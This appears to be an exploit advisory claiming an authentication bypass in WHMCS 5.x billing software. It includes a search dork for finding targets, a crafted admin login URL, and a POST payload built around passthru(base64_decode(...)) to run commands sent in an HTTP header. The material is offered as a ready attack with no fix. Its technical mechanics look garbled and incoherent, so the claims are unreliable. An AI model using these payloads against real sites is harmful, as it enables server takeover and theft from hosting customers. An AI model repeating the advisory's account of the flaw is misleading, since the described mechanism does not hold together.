WHMCS 5.x versions suffers from a cookie-validation vulnerability, where sessions can be modified and authentication can be easily bypassed. ################################################## # Description : WHMCS 5.x Authentication Bypass Vulnerability # Author : Agd_Scorp # Contact: vorscorp@hotmail.com # Version : 5.x # Link : http://www.whmcs.com/order-now/ # Date : Monday, December 31, 2012 # Dork : intext:Powered by WHMCompleteSolution ################################################## Recommended: You must have BEeF or Tamper Data already installed, I do not recommend doing this process manually. # The Fact: WHMCS 5.0 is completely vulnerable to this vulenrability, but in 5.1 version, WHMCS has added extra cache-security, so I've added an extra-payload for it, you can do the exploitation-process without the payload in the 5.0 version. # The Exploitation http://site.com/whmcs/admin/login.php?correct&cache=1?login=getpost{} after you have successfully entered that into your browser, the page will lag for abit due to the cache-validation, which we, ofcourse, will change it. ;-) when the page is loading, quickly open Tamper Data and change the loading POST_SESSION request & the payload to this: POST: $post(login=1);passthru(base64_decode(\$_SERVER[HTTP_CMD]))&login_cancel;die;"; Payload: $payload = "login=1&title=1&execorder=0&hook=urlencoded&redirect={admin_index}"; # The Result Once you have done this process, you will be automatically be redirected to the admin page, although, if the administrator has enabled cache-security, this process will fail. # Solution & Fix No solution & fix, just wait for the WHMCS team to release a patch for this vulnerability.